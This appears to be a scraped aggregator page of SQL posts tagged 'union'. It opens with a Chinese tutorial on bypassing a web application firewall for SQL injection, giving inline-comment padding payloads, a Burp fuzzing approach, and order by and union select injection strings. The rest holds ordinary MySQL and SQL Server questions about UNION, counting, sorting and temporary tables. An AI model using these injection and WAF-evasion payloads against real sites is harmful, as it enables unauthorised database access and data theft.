union

sql注入内联注释过waf

折月煮酒 提交于 2020-01-17 13:03:51
sql注入内联注释过waf 正常输入: 1 然后尝试: -1 order by 被拦截 然后单独尝试 order 或者 by 单独的order或者by并没有被拦截,内联注释干扰黑名单检测 -1/**/order/**/by 3 只是简单的 /**/ 也被过滤了,那么就在 /**/ 中间加干扰 用 -1 and 1=1 来进行测试,burp抓包,然后在被过滤的关键字前后加注释,注释中间用§ §来进行爆破定点,配置如下 字符集设置一些字符数字字母随机组合干扰 然后进行爆破 响应没有显示waf的为爆破成功的结果 此处采用payload1来进行内联注释的干扰 /*%!"/*/ -1/*%!"/*/and/*%!"/*/1=1 由此看出,此时and并没有被waf黑名单检测到 然后进行order by查询 -1/*%!"/*/order/*%!"/*/by 3 -1/*%!"/*/order/*%!"/*/by 4 由此可得,查询3项数据 然后union select查询 -1/*%!"/*/union/*%!"/*/select 1,2,3 2和3处可以查询自己想要的信息 查database:此处database单个单词没被加黑名单,database()被加黑名单了,那就在database和()中间加注释: -1/*%!"/*/union/*%!"/*/select+1,/*%!"/*

MySQL count unique and duplicate values

只愿长相守 提交于 2020-01-17 05:29:14
问题 I need some help with counting both unique and duplicate values in MySQL. I want to know how many records there are total, and also how many is there two times and three times and so on... Do I need to use UNION or something? I think SUM would be the best solution for me because of I might use some joins with this in future. Sample data: | custId | name | |--------|--------| | 1001 | Alex | | 1001 | Alex | | 1002 | Daniel | | 1003 | Mark | | 1002 | Daniel | Sample results: | total | twoTimes

Using ORDER BY with UNION and ALIASES with complex query

十年热恋 提交于 2020-01-16 09:24:31
问题 I want to sort Order No of the following query with UNION but it could not be done although googling a lot. IF LEN(@_Order_No)=0 BEGIN SELECT a._PROCESS_INST_NO,c._ISSUE_DATE,c._DELIVERY_DATE, a._Order_No,a._GOODS_CD,a._GOODS_NAME , --a._QTY, CAST(a._QTY as DECIMAL (38,2)) as _QTY, b._GOODS_CD as RM_CD,b._GOODS_NAME as RM_NAME,b._UNIT, (CASE WHEN LEFT(a._GOODS_NAME,2)='SS' OR LEFT(a._GOODS_NAME,2)='SN' THEN CAST(a._QTY as DECIMAL (38,2)) * CAST(b._QTY as DECIMAL (38,2))/ NULLIF(SUM(CAST(a.

Using ORDER BY with UNION and ALIASES with complex query

匆匆过客 提交于 2020-01-16 09:24:17
问题 I want to sort Order No of the following query with UNION but it could not be done although googling a lot. IF LEN(@_Order_No)=0 BEGIN SELECT a._PROCESS_INST_NO,c._ISSUE_DATE,c._DELIVERY_DATE, a._Order_No,a._GOODS_CD,a._GOODS_NAME , --a._QTY, CAST(a._QTY as DECIMAL (38,2)) as _QTY, b._GOODS_CD as RM_CD,b._GOODS_NAME as RM_NAME,b._UNIT, (CASE WHEN LEFT(a._GOODS_NAME,2)='SS' OR LEFT(a._GOODS_NAME,2)='SN' THEN CAST(a._QTY as DECIMAL (38,2)) * CAST(b._QTY as DECIMAL (38,2))/ NULLIF(SUM(CAST(a.

MySQL COUNT results of UNION ALL statement

生来就可爱ヽ(ⅴ<●) 提交于 2020-01-16 08:49:59
问题 I'm sure there must be a way to do this but my MySQL knowledge is holding me back. I have a single table that stores page tags page_id tag 51 New Zealand 51 Trekking 58 UK 77 New Zealand 77 Trekking 89 City Break 101 Shopping ... I want to do a search for pages that have two tags, e.g. "New Zealand" and "Trekking". I've looked at UNIONS, INTERSECT (equiv), JOINS and I can't work out what is the best way to do it. The best I have come up with is to do: SELECT page_id FROM tags WHERE tag = "New

MySQL index for normal column and full text column

时光总嘲笑我的痴心妄想 提交于 2020-01-15 09:48:09
问题 I'm trying to speed up a query for the below: My table has around 4 million records. EXPLAIN SELECT * FROM chrecords WHERE company_number = 'test' OR MATCH (company_name,registered_office_address_address_line_1,registered_office_address_address_line_2) AGAINST('test') LIMIT 0, 10; +------+-------------+-----------+------+------------------+------+---------+------+---------+-------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +------+---------

No records found when running not in operator

泪湿孤枕 提交于 2020-01-15 09:25:42
问题 I am trying to get records from one table excluding some records (Order No.'s in the Union). Can anybody tell me what could be wrong with this query. I am getting no records after running it. SELECT * FROM [dbo].[FMD15_18] WHERE [OrderNo] NOT IN ((SELECT OrderNo FROM [dbo].[FMD15_18] WHERE [Item Description] Like '%AP%') UNION ALL SELECT [OrderNo] FROM [dbo].[AP&C] ) 回答1: I would use NOT EXISTS instead : SELECT t.* FROM [dbo].[FMD15_18] t WHERE NOT EXISTS (SELECT 1 FROM [dbo].[FMD15_18] t1

union和union all 的区别

旧巷老猫 提交于 2020-01-14 18:15:18
SQL UNION 操作符 UNION 操作符用于合并两个或多个 SELECT 语句的结果集。 请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。 SQL UNION 语法 SELECT column_name ( s ) FROM table_name1 UNION SELECT column_name ( s ) FROM table_name2 注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。 SQL UNION ALL 语法 SELECT column_name ( s ) FROM table_name1 UNION ALL SELECT column_name ( s ) FROM table_name2 另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。 下面的例子中使用的原始表: Employees_China: E_ID E_Name 01 Zhang , Hua 02 Wang , Wei 03 Carter , Thomas 04 Yang , Ming Employees_USA: E_ID E_Name 01 Adams , John 02 Bush , George 03

Joining two result sets into one

空扰寡人 提交于 2020-01-14 14:05:59
问题 I wanted to know if there's a way to join two or more result sets into one. I actually need to execute more than one query and return just one result set. I can't use the UNION or the JOIN operators because I'm working with Cassandra (CQL) Thanks in advance ! 回答1: Framework like Playorm provide support for JOIN (INNER and LEFT JOINs)queries in Cassandra. http://buffalosw.com/wiki/Command-Line-Tool/ You may see more examples at: https://github.com/deanhiller/playorm/blob/master/src/test/java

Having issues creating a temporary table out of a UNION

我怕爱的太早我们不能终老 提交于 2020-01-14 09:58:26
问题 I have a UNION statement that executes just fine by itself: SELECT "1999999999" AS MobileNo, "Test" AS FirstName, "Last" AS LastName, "268" AS TemplateID, "" AS MISC1, "" AS MISC2 UNION SELECT cust.cellp AS MobileNo, acct.firstname AS FirstName, acct.lastname AS LastName, "268" AS TemplateID, "" AS MISC1, "" AS MISC2 FROM acct INNER JOIN cust ON (cust.socsec=acct.socsec) However when I try to wrap it with a CREATE TEMPORARY TABLE: CREATE TEMPORARY TABLE temptable (SELECT "1999999999" AS